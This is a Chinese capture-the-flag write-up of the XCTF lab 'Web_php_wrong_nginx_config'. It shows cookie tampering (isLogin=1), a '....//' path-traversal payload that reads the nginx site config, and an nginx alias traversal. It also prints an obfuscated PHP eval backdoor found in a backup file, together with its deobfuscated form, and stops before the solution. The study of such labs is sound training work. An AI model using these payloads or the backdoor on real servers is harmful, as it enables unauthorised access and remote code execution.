攻防世界-WEB进阶区-Web_php_wrong_nginx_config

1、进入靶场 

2、根据题目提示是Nginx配置错误,先看看网站有没有robots.txt文件

 3、hint.php给出配置文件路径

 4、Hack.php响应之后回到登录界面,这里用Burp抓包看一下响应内容

 发现cookie有可疑参数isLogin应该是判断是否登录,把0改成1放走数据包,进入新的页面

 5、检测源码发现,管理中心可以前往其他页面

 直接进进不去,需要抓包修改cookie

6、进来之后来到这个页面

 根据页面的回显,这里可以读取文件(Brup不太容易分辨,可以用HackBar)

?file=index.php&ext=和?file=index&ext=php内容读取一样

经过测试这个会把../替换为空,可以构造....//绕过。使用

?file=....//....//....//....///etc/nginx/sites-enabled/site.conf&ext=

7、 Nginx配置

location /web-img {
    alias /images/;
    autoindex on;
}
这是开发人员想让我们访问/web-img这个目录,但是没有在/web-img后面加/,导致我们可以构造/web-img../
和alisa拼接起来就成了/images/web-img/../,造成目录穿越漏洞

 8、访问/web-img./目录

 进入网站目录发现有备份文件,下载一下

 9、代码审计

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
?>

 create_function()函数

根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

1 create_function(string $args,string $code)
2 string $args 声明的函数变量部分
3 string $code 执行的方法代码部分

参考:PHP代码审计之create_function()函数

 把代码部分输出echo $f;

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"]; // 获取来源URL
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];  // 客户端可以理解的编码
if($rr&&$ra){
    $u=parse_url($rr);  //解析URL,返回数组
    parse_str($u["query"],$q);  //字符串解析成变量
    $q=array_values($q);  // 获取数组所有的值
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);  // 全局正则表达式匹配
    if($q&&$m){
        @session_start();  // 开启会话
        $s=&$_SESSION;  // 储存用户会话信息
        $ss="substr";  // 切割字符串
        $sl="strtolower";  // 所有字符转换成小写
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));  // h=***
        $f=$sl($ss(md5($i.$kf),0,3));  // f=***
        $p="";
        for($z=1;$z<count($m[1]);$z++)
            $p.=$q[$m[2][$z]];  // p=$h + * + $f
        if(strpos($p,$h)===0){
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);  // 检查字符串的第一次出现的位置
            if($e){
                $k=$kh.$kf;
                ob_start(); // 打开输出缓冲区
                @eval(
                    @gzuncompress(
                        @x(@base64_decode(
                              preg_replace(
                                  array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)
                               )
                         ),$k)
                    )
                );
                $o=ob_get_contents(); // 返回输出缓冲区的内容
                ob_end_clean();  // 清空缓冲区并关闭
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

后面就不会了。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值